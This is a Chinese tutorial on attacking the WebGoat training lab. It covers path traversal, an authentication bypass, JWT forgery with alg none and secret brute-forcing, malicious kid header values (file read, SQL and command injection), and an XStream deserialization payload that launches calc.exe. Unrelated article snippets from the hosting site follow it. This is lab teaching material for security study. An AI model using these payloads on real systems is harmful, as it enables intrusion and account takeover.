WEB攻防-JAVAWEB项目常见漏洞

知识点

1.JavaWeb常见安全及代码逻辑
2.目录遍历&身份验证&逻辑&JWT
3.访问控制&安全组件&越权&三方组件

本篇主要了解以上问题在javaweb中的呈现,

第一个重点理解URL与javaweb代码框架的对应方式,java在没有代码的情况下是很难渗透的,下面的内容也是针对白盒的

第二个重点是JWT身份验证/攻击

JavaWeb-WebGoat靶场搭建使用

WebGoat简单介绍

WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,当前提供的训练课程有30多个,其中包括:跨站点脚本攻击(XSS)、访问控制、线程安全、操作隐藏字段、操纵参数、弱会话cookie、SQL盲注、数字型SQL注入、字符串型SQL注入、web服务、Open Authentication失效、危险的HTML注释等等。WebGoat提供了一系列web安全学习的教程,某些课程也给出了视频演示,指导用户利用这些漏洞进行攻击。

参考链接:如何搭建 WebGoat 靶场保姆级教程(附链接)_webgoat搭建-CSDN博客

 启动/访问

//启动
java.exe -jar E:\webgoat-server-8.1.0.jar --server.port=8081
//访问
http://localhost:8081/WebGoat/login

案例0x01 目录遍历

路径(目录)遍历是一种漏洞,攻击者能够在应用程序运行位置之外访问或存储文件和目录。这可能会导致从其他目录读取文件,并且在文件上传时会覆盖关键系统文件。

路径遍历攻击的基本原理和步骤:

  1. 发现潜在漏洞:攻击者首先需要找到应用程序中可能允许用户指定文件路径的输入点。这通常包括文件上传、图片查看、文件下载、包含文件(如PHP的includerequire函数)等功能。

  2. 构建恶意输入:攻击者会构造一个包含特殊路径字符的输入字符串,如../../etc/passwd。这个字符串的目的是向上遍历目录树,并尝试访问不应该被公开的文件(在这个例子中,是UNIX系统的/etc/passwd文件,它包含了系统上所有用户的信息)。

  3. 发送请求:攻击者将构造好的恶意输入发送给Web应用程序。这通常是通过HTTP请求中的GET或POST参数、URL路径、HTTP头或其他输入机制来完成的。

  4. 应用程序处理:如果应用程序没有正确地验证或清理用户输入,它会将恶意输入当作有效的文件路径来处理。应用程序可能会尝试打开、读取或包含这个路径指向的文件。

  5. 敏感操作:如果应用程序成功地打开了攻击者指定的文件,并返回了文件内容,那么攻击者就成功地执行了路径遍历攻击。他们现在可以查看、下载或利用这些敏感信息来进一步攻击系统。

案例:WebGoat(A1)Injection--> Path traversal第二关

题目要求上传到Pathtraversal这个路径

通过BurpSuite抓包获取到URL

 对jar包解压,并使用IDEA打开,找到对应的包反编译,只要把包添加到库就可以查看到源码

无论是社区版 IDEA,还是专业版 IDEA,都自带了反编译插件 Java Bytecode Decompiler。没有自行下载

找到 ProfileUpload,可以看到我们访问的路由

    @PostMapping(value = {"/PathTraversal/profile-upload"},consumes = {"*/*"},produces = {"application/json"})@ResponseBodypublic AttackResult uploadFileHandler(@RequestParam("uploadedFile") MultipartFile file, @RequestParam(value = "fullName",required = false) String fullName) {return super.execute(file, fullName);}

 IDEA使用ctrl+鼠标左键选择execute函数来追踪super.execute函数,可以看到execute 接收一个 MultipartFile 对象(用于表示上传的文件)和一个 String 类型的 fullName,"/PathTraversal/" + this.webSession.getUserName() 被附加到基础目录上,以构建用户特定的上传目录。new File(uploadDirectory, fullName) 来创建 uploadedFile 时,实际上是在构建一个指向特定文件路径的 File 对象。在这个上下文中,uploadDirectory 是一个 File 对象,它代表了目录的路径,而 fullName 是一个字符串,它包含了在该目录下创建或引用的文件的完整名称

 protected AttackResult execute(MultipartFile file, String fullName) {if (file.isEmpty()) {return this.failed(this).feedback("path-traversal-profile-empty-file").build();} else if (StringUtils.isEmpty(fullName)) {return this.failed(this).feedback("path-traversal-profile-empty-name").build();} else {File uploadDirectory = new File(this.webGoatHomeDirectory, "/PathTraversal/" + this.webSession.getUserName());if (uploadDirectory.exists()) {FileSystemUtils.deleteRecursively(uploadDirectory);}try {uploadDirectory.mkdirs();File uploadedFile = new File(uploadDirectory, fullName);uploadedFile.createNewFile();FileCopyUtils.copy(file.getBytes(), uploadedFile);return this.attemptWasMade(uploadDirectory, uploadedFile) ? this.solvedIt(uploadedFile) : this.informationMessage(this).feedback("path-traversal-profile-updated").feedbackArgs(new Object[]{uploadedFile.getAbsoluteFile()}).build();} catch (IOException var5) {return this.failed(this).output(var5.getMessage()).build();}}

发送原数据包,结合代码可以看到路径有安装路径+PathTraversal+用户名+Fullname组成

而在上下文代码中没找到类似过滤特殊字符如../的代码,而题目要求上传到安装路径下的PathTraversal目录下,也就是与“用户名”目录同级,也就是test的上一级目录,尝试修改数据包让他上传到上一级目录

BurpSuite中放包并拦截响应可以看到上传通过了

攻击手段就是通过../路径可以贯穿整个目录遍历攻击,比如需要上传到上两级../../

第三关类似,但做了单次过滤../

抓包 看下URL找到对应的包

    @PostMapping(value = {"/PathTraversal/profile-upload-fix"},consumes = {"*/*"},produces = {"application/json"})@ResponseBodypublic AttackResult uploadFileHandler(@RequestParam("uploadedFileFix") MultipartFile file, @RequestParam(value = "fullNameFix",required = false) String fullName) {return super.execute(file, fullName != null ? fullName.replace("../", "") : "");}

可以看到参数改成了 fullNameFix,增加了单次过滤fullName.replace("../", "") : "");

考虑双写绕过

案例0x02 身份认证绕过

 身份绕过漏洞通常存在于系统的身份验证机制中,可能由于系统配置错误、代码实现缺陷或逻辑漏洞等原因导致。攻击者如果能够成功利用这类漏洞,就可以获得本不应有的系统访问权限,进而可能导致数据泄露、系统被篡改或其他严重后果。

案例:WebGoat(A2)Broken Authentication-->Authentication Bypasses第二关

抓包获取URL找到对应的包

 

    @PostMapping(path = {"/auth-bypass/verify-account"},produces = {"application/json"})@ResponseBodypublic AttackResult completed(@RequestParam String userId, @RequestParam String verifyMethod, HttpServletRequest req) throws ServletException, IOException {AccountVerificationHelper verificationHelper = new AccountVerificationHelper();Map<String, String> submittedAnswers = this.parseSecQuestions(req);if (verificationHelper.didUserLikelylCheat((HashMap)submittedAnswers)) {return this.failed(this).feedback("verify-account.cheated").output("Yes, you guessed correctly, but see the feedback message").build();} else if (verificationHelper.verifyAccount(Integer.valueOf(userId), (HashMap)submittedAnswers)) {this.userSessionData.setValue("account-verified-id", userId);return this.success(this).feedback("verify-account.success").build();} else {return this.failed(this).feedback("verify-account.failed").build();}}

可以看到访问入口调用了AccountVerificationHelper包的didUserLikelylCheat函数verificationHelper包的verifyAccount,并通过返回值作为判断条件,而只有verificationHelper包的verifyAccount返回ture才会通过认证,首先追踪到didUserLikelylCheat函数这个函数,看下如何构造才能是他返回false跳过这个判断进入verifyAccount

    public boolean didUserLikelylCheat(HashMap<String, String> submittedAnswers) {boolean likely = false;if (submittedAnswers.size() == ((Map)secQuestionStore.get(verifyUserId)).size()) {likely = true;}if (submittedAnswers.containsKey("secQuestion0") && ((String)submittedAnswers.get("secQuestion0")).equals(((Map)secQuestionStore.get(verifyUserId)).get("secQuestion0")) && submittedAnswers.containsKey("secQuestion1") && ((String)submittedAnswers.get("secQuestion1")).equals(((Map)secQuestionStore.get(verifyUserId)).get("secQuestion1"))) {likely = true;} else {likely = false;}return likely;}

这里主要做了两个判断

  1. 检查答案数量
  • 如果 submittedAnswers 的大小与从 secQuestionStore 获取的对应用户答案的 Map 的大小相同,则 likely 被设置为 true。  
  1. 检查答案是否匹配
  • if-else语句检查submittedAnswers是否包含两个特定的问题("secQuestion0""secQuestion1")的答案,并且这些答案是否与从secQuestionStore中检索到的答案相匹配。如果两个答案都匹配,则将likely设置为true;否则,将其设置为false。这里的问题是,即使只有一个答案不匹配,likely也会被设置为false

 根据逻辑分析,只要"secQuestion0""secQuestion1"和secQuestionStore的答案不一致或者键名"secQuestion0""secQuestion1"不存在就能返回flase

    static {userSecQuestions.put("secQuestion0", "Dr. Watson");userSecQuestions.put("secQuestion1", "Baker Street");secQuestionStore = new HashMap();secQuestionStore.put(verifyUserId, userSecQuestions);}

再看verificationHelper包的verifyAccount函数

    public boolean verifyAccount(Integer userId, HashMap<String, String> submittedQuestions) {if (submittedQuestions.entrySet().size() != ((Map)secQuestionStore.get(verifyUserId)).size()) {return false;} else if (submittedQuestions.containsKey("secQuestion0") && !((String)submittedQuestions.get("secQuestion0")).equals(((Map)secQuestionStore.get(verifyUserId)).get("secQuestion0"))) {return false;} else {return !submittedQuestions.containsKey("secQuestion1") || ((String)submittedQuestions.get("secQuestion1")).equals(((Map)secQuestionStore.get(verifyUserId)).get("secQuestion1"));}}
  1. 检查答案数量:如果 submittedQuestions 的大小与从 secQuestionStore 中根据 verifyUserId 获取的映射的大小不同,则返回 false
  2. 检查特定答案:如果 submittedQuestions 包含 "secQuestion0" 但其值与从 secQuestionStore 中获取的相应值不同,则返回 false
  3. 检查第二个答案:如果 submittedQuestions 不包含 "secQuestion1" 或者包含但值与从 secQuestionStore 中获取的相应值相同,则返回 true

 可以看到第二个答案验证这里的逻辑,如果 "secQuestion1"键名不存在 则为false,取反得到true或者secQuestion1答案正确返回true

综上所述有两种情况可以绕过验证

  • secQuestion0能匹配,和secQuestion1不存在

  • secQuestion0和secQuestion1都不存在

JWT原理及常见攻击方式

JWT的全称是Json Web Token。它遵循JSON格式,将用户信息加密到token里,服务器不保存任何用户信息,只保存密钥信息,通过使用特定加密算法验证token,通过token验证用户身份。基于token的身份验证可以替代传统的cookie+session身份验证方法。 

传统token方式和jwt认证的差异

传统token方式

用户登录成功后,服务端生成一个随机token给用户,并且在服务端(数据库或缓存)中保存一份token,以后用户再来访问时需携带token,服务端接收到token之后,去数据库或缓存中进行校验token的是否超时、是否合法。

jwt方式:官网:jwt.io

用户登录成功后,服务端通过jwt生成一个随机token给用户(服务端无需保留token),以后用户再来访问时需携带token,服务端接收到token之后,通过jwt对token进行校验是否超时、是否合法。

JWT 令牌结构由三个部分组成,分别是 标头(Header)、有效载荷(Payload)、签名(Signature),并且由 "." 分割.

也就是 Header.Payload.Signature

JWT原理 

  • Header:固定包含算法和token类型,通常使用算法名称(如HMAC SHA256或RSA)来指定生成Signature的算法。对此json进行base64url加密,这就是token的第一段。

{"alg": "HS256","typ": "JWT"
}
  • Payload:包含声明,声明是关于实体(通常是用户)和其他数据的声明,也可以自定义。对此json进行base64url加密,这就是token的第二段。

{"iss": "admin","iat": 1616562692
}
  • Signature:对Header和Payload进行Base64编码后的结果,使用指定的密钥和算法进行加密,以确保JWT不可篡改。

把前两段的base密文通过.拼接起来,然后对其进行HS256加密,再然后对hs256密文进行base64url加密,最终得到token的第三段。

base64url(HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload),your-256-bit-secret (秘钥加盐))
)

简单JWT示例

 JWT攻击方式

  案例0x01 空加密算法 - WebGoat(A2)JWT tokens第四关

空加密算法的设计初衷是用于调试的,如果在生产环境中开启了空加密算法,缺少签名算法,jwt保证信息不被篡改的功能就失效了。

空加密算法,可以在header中指定alg为None,把签名设置为空(即不添加signature字段),这需要服务器(后端代码)支持不要秘钥签名(空模式加密)

选择一个用户,然后点击重置票数进行抓包

复制token到官网jwt.io解密 

修改Header中alg:HS512 修改为alg:none,把签名设置为空(即不添加signature字段)

修改Payload中admin:false 修改为admin:true,通过这个字段验证是不是管理员身份

分别将修改后由base64加密生成的密文对应的Header、Payload的格式拼接,注意不要带上 =号,jwt中没有 =号,拼接的时候不要漏了后面与signature间段的

ewogICJhbGciOiAibm9uZSIKfQ.

ewogICJpYXQiOiAxNzE3OTgxODU5LAogICJhZG1pbiI6ICJ0cnVlIiwKICAidXNlciI6ICJKZXJyeSIKfQ. 

 burpsuite将token替换为我们伪造拼接出的token再发送,就成功验证管理员身份了

 

案例0x02 爆破密钥 - WebGoat(A2)JWT tokens第五关

题目要求尝试找出密钥并提交一个新密钥,并将用户名更改为 WebGoat。

不过对 JWT 的密钥爆破需要在一定的前提下进行:

  • 知悉JWT使用的加密算法
  • 一段有效的、已签名的token
  • 签名用的密钥不复杂(弱密钥)

所以其实JWT 密钥爆破的局限性很大。

相关工具:c-jwt-cracker

把JWT复制到jwt.io解密

因为这里只是为了测试,直接把秘钥复制到字典里

 

运行脚本爆破加密的秘钥

import jwt
import termcolor
if __name__ == "__main__":jwt_str = R'eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTcxNzExNTU2MSwiZXhwIjoxNzE3MTE1NjIxLCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.oWJIYFXYQCzviNcKZBqCS-fKZiPCqq8kXFiNVG2js7Q'with open('top1000.txt') as f:for line in f:key_ = line.strip()try:jwt.decode(jwt_str,algorithms=['HS256'], verify=True, key=key_)print('\r', '\bbingo! found key -->', termcolor.colored(key_, 'green'), '<--')breakexcept (jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError):print('\r', '\bbingo! found key -->', termcolor.colored(key_, 'green'), '<--')breakexcept jwt.exceptions.InvalidSignatureError:print('\r', ' ' * 64, '\r\btry', key_, end='', flush=True)continueelse:print('\r', '\bsorry! no key be found.')

 回到jwt.io,输入秘钥并修改username为WebGoat

把伪造秘钥提交,显示无效JWT再试一次,红框中可以看出JWT过期了

回到jwt.io修改exp时间戳,改为一个未到的时间,再次复制伪造token提交,就成功通过了

修改KID参数

kid是jwt header中的一个可选参数,全称是key ID,它用于指定加密算法的密钥

{

    "alg" : "HS256",

    "typ" : "jwt",

    "kid" : "/home/jwt/.ssh/pem"

}

因为该参数可以由用户输入,所以也可能造成一些安全问题。

0x03 任意文件读取

kid参数用于读取密钥文件,但系统并不会知道用户想要读取的到底是不是密钥文件,所以,如果在没有对参数进行过滤的前提下,攻击者是可以读取到系统的任意文件的。

{

    "alg" : "HS256",

    "typ" : "jwt",

    "kid" : "/etc/passwd"

}

0x04 SQL注入

kid也可以从数据库中提取数据,这时候就有可能造成SQL注入攻击,通过构造SQL语句来获取数据或者是绕过signature的验证

{

    "alg" : "HS256",

    "typ" : "jwt",

    "kid" : "key11111111' || union select 'secretkey' -- "

}

0x05 命令注入

kid参数过滤不严也可能会出现命令注入问题,但是利用条件比较苛刻。如果服务器后端使用的是Ruby,在读取密钥文件时使用了open函数,通过构造参数就可能造成命令注入。

"/path/to/key_file|whoami"

对于其他的语言,例如php,如果代码中使用的是exec或者是system来读取密钥文件,那么同样也可以造成命令注入,当然这个可能性就比较小了。

0x06 第三方组件

WebGoat(A9)Vulnerable Components 第十二关

抓包获取下URL

 可以看到使用了第三方组件Xstream,一般通过信息收集知道第三方组件就可以查找的历史漏洞去复现

 这里题目已经告诉我们漏洞编号Exploiting CVE-2013-7285 (XStream),查找该编号漏洞复现

该漏洞主要是java反序列化造成的远程代码执行,上传以下代码可以启动计算器

<sorted-set><string>foo</string><dynamic-proxy><interface>java.lang.Comparable</interface><handler class="java.beans.EventHandler"><target class="java.lang.ProcessBuilder"><command><string>calc.exe</string> ——启动服务器的计算器</command></target><action>start</action></handler></dynamic-proxy></sorted-set>

 

0x07 访问控制

-隐藏属性:前端页面选择性隐藏某些重要的信息,自卫限制显示

WebGoat (A5)Insecure Direct Object References第二关先登录

 WebGoat (A5)Insecure Direct Object References第三关

正常情况显示只可以查看三个参数

点击View Profile抓包可以看到五个属性

 根据URL找到对应的包

-水平越权:同一级别用户权限的查看

 比如,通过修改“userId”的值,就可以查看其他用户的个人信息。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/20426.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

PMP学习和考试难度分析

PMP&#xff08;项目管理专业人士&#xff09;考试目前是全球范围内比较具权威性和认可度的项目管理证书之一。因此PMP考试的难度是一个备受关注的话题。根据我们以往的学员经验我从不同角度解析PMP考试的难度&#xff0c;并提供一些应对挑战的建议。希望对大家有所帮助。 PMP考…

Ubuntu 安装好虚拟环境后,找不到workon 命令

1、安装虚拟环境 pip3 install virtualenv pip3 install virtualenvwrapper 2、安装完成后 workon 命令。 找不到workon 命令 执行&#xff0c;source virtualenvwrapper.sh 执行后&#xff0c;在使用workon命令&#xff0c;即可完成。

君耐策划有限公司员工信息管理系统的设计

管理员账户功能包括&#xff1a;系统首页&#xff0c;个人中心&#xff0c;管理员管理&#xff0c;基础数据管理&#xff0c;公告管理&#xff0c;薪资管理&#xff0c;员工考勤管理 员工账户功能包括&#xff1a;系统首页&#xff0c;个人中心&#xff0c;公告管理&#xff0…

vivo鄢楠:基于OceanBase 的降本增效实践

在3 月 20 日的2024 OceanBase 数据库城市行中&#xff0c;vivo的 体系与流程 IT 部 DBA 组总监鄢楠就“vivo 基于 OceanBase 的降本增效实践”进行了主题演讲。本文为该演讲的精彩回顾。 vivo 在1995年于中国东莞成立&#xff0c;作为一家全球领先的移动互联网智能终端公司&am…

【智能算法】吸引-排斥优化算法(AROA)原理及实现

目录 1.背景2.算法原理2.1算法思想2.2算法过程 3.结果展示4.参考文献5.代码获取 1.背景 2024年&#xff0c;K Cymerys受到自然界中吸引-排斥现象启发&#xff0c;提出了吸引-排斥优化算法&#xff08;Attraction–Repulsion Optimization Algorithm, AROA&#xff09;。 2.算法…

Python—面向对象小解(5)

一、多任务介绍 1.1 进程与线程 进程是操作系统分配资源的最小单元 线程执行程序的的最小单元 线程依赖进程&#xff0c;可以获取进程的资源 一个程序执行 先要创建进程分配资源&#xff0c;然后使用线程执行任务 默认情况下一个进程中有一个线程 1.2 多任务介绍 运行多个进程…

深入解析CRM客户关系系统:技术架构与功能实现的融合创新

CRM客户关系管理系统&#xff08;Customer Relationship Management System&#xff09;是一种以客户为中心的信息系统&#xff0c;旨在帮助企业更好地管理和维护客户关系&#xff0c;提高客户满意度和忠诚度&#xff0c;从而提升企业的市场竞争力。以下是CRM客户关系管理系统的…

电磁兼容整改时磁环怎么选型

电磁兼容整改时磁环怎么选型 磁环的选型错误磁环特性纳米微晶磁环磁环选型示例磁环选型 一条线缆两端都有设备&#xff0c;那磁环应该放在哪里&#xff1f; 我们怎么样来选择这个磁环&#xff0c;通过磁环的吸收作用&#xff0c;让辐射的强度和传导发射的这个强度衰减更大的那我…

Linux|虚拟机|Windows 11 家庭版的Hyper虚拟机服务开启

前言&#xff1a; Windows11的版本是比较多的&#xff0c;但有的时候笔记本预装的可能是家庭版&#xff0c;而家庭版的Windows通常是不支持虚拟机的&#xff0c;也就是说Hyper服务根本就看不到 Windows的程序和功能大体如下&#xff1a; &#x1f197;&#xff0c;那么如何开…

一、初识Qt 之 Hello world

一、初识Qt 之 Hello world 提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 初识Qt 之 Hello world文章目录 一、Qt 简介二、Qt 获取安装三、Qt 初步使用四、Qt 之 Hello world1.新建一个项目 总结 一、Qt 简介 C &#xf…

数据库系统概论(超详解!!!)第十节 过程化SQL

1.Transact-SQL概述 SQL(Structure Query Language的简称&#xff0c;即结构化查询语言) 是被国际标准化组织(ISO)采纳的标准数据库语言&#xff0c;目前所有关系数据库管理系统都以SQL作为核心&#xff0c;在JAVA、VC、VB、Delphi等程序设计语言中也可使用SQL&#xff0c;它是…

利用元宇宙NFG+IPO线上营销,打造新商业模型

随着互联网技术的飞速发展&#xff0c;商业模式和创新方式层出不穷。特别是在移动电商和区块链技术的双重推动下&#xff0c;市场格局正在经历一场深刻的变革。然而&#xff0c;随着竞争加剧和监管收紧&#xff0c;如何构建一个既能吸引用户又能保持系统稳定的商业模型&#xf…

Chapter 5 Current Mirrors and Biasing Techniques

Chapter 5 Current Mirrors and Biasing Techniques 这一章介绍电流镜 5.1 Basic Current Mirrors MOS工作在饱和区, 表现为一个电流源. 考虑电源变化, PVT波动, 我们会首先产生一路精准电流源, 再复制这路电流. 如何复制呢? 电流转电压再转电流就行了, 如下图所示 考虑到…

传感器和变送器的区别介绍

从它的名称来看&#xff0c;传与感二字。传是指传输&#xff0c;感是指感知。实际上是先有感知&#xff0c;其次转换&#xff0c;最后传输。因此传输是目的&#xff0c;转换是手段&#xff0c;感知是基础。把能够将被测变量&#xff08;温度、压力、液位、流量&#xff09;感知…

港湾周评|李小加“刀刃向内”裁员

《港湾商业观察》李镭 近年来争议颇大的滴灌通风波不断。 在交100万付费上班不久&#xff0c;最新又被曝出裁员。这位前港交所总裁、金融圈鼎鼎大名的李小加&#xff0c;没想到成立不足三年便迎来了重大挑战。 日前&#xff0c;滴灌通确认了公司组织架构已经调整&#xff0c…

【教程】如何实现WordPress网站降级(用于解决插件和主题问题)

在最新可用版本上运行WordPress安装、插件和主题是使用该平台的关键最佳实践。还建议使用最新版本的PHP。但是,在某些情况下,这是不谨慎或不可能的。 如果您发现自己处于这种情况,您可能需要撤消更新并降级您的WordPress网站(或其中的一部分)。幸运的是,有一些方法可用于…

深入浅出Java多线程

系列文章目录 文章目录 系列文章目录前言一、多线程基础概念介绍线程的状态转换图线程的调度一些常见问题 二、Java 中线程的常用方法介绍Java语言对线程的支持Thread常用的方法三、线程初体验&#xff08;编码示例&#xff09; 前言 前些天发现了一个巨牛的人工智能学习网站&…

【验证码识别】Yolov8入门到实战点选验证码数据集分类训练,孪生训练,导出onnx,搭建部署接口

【验证码识别】Yolov8入门到实战点选验证码数据集分类训练&#xff0c;孪生训练&#xff0c;导出onnx&#xff0c;搭建部署接口 文章目录 【验证码识别】Yolov8入门到实战点选验证码数据集分类训练&#xff0c;孪生训练&#xff0c;导出onnx&#xff0c;搭建部署接口声明一、标…

scButterfly:单细胞跨模态翻译

技术限制导致了高噪声的多模态数据。尽管已经提出了计算方法来跨模态翻译单细胞数据&#xff0c;但是这些方法的泛化性仍然受到制约。scButterfly是一种基于双重对齐变分自编码器和数据增强方案的多功能单细胞跨模态翻译方法。通过对多个数据集进行全面的实验&#xff0c;证明了…

工业安全智勇较量,赛宁网安工业靶场决胜工业网络攻防对抗新战场

2024年1月30日&#xff0c;工信部发布《工业控制系统网络安全防护指南》&#xff08;工信部网安〔2024〕14号&#xff09;&#xff0c;围绕安全管理、技术防护、安全运营、责任落实四方面提出安全防护要求&#xff0c;强调聚焦安全薄弱关键环节&#xff0c;强化技术应对策略&am…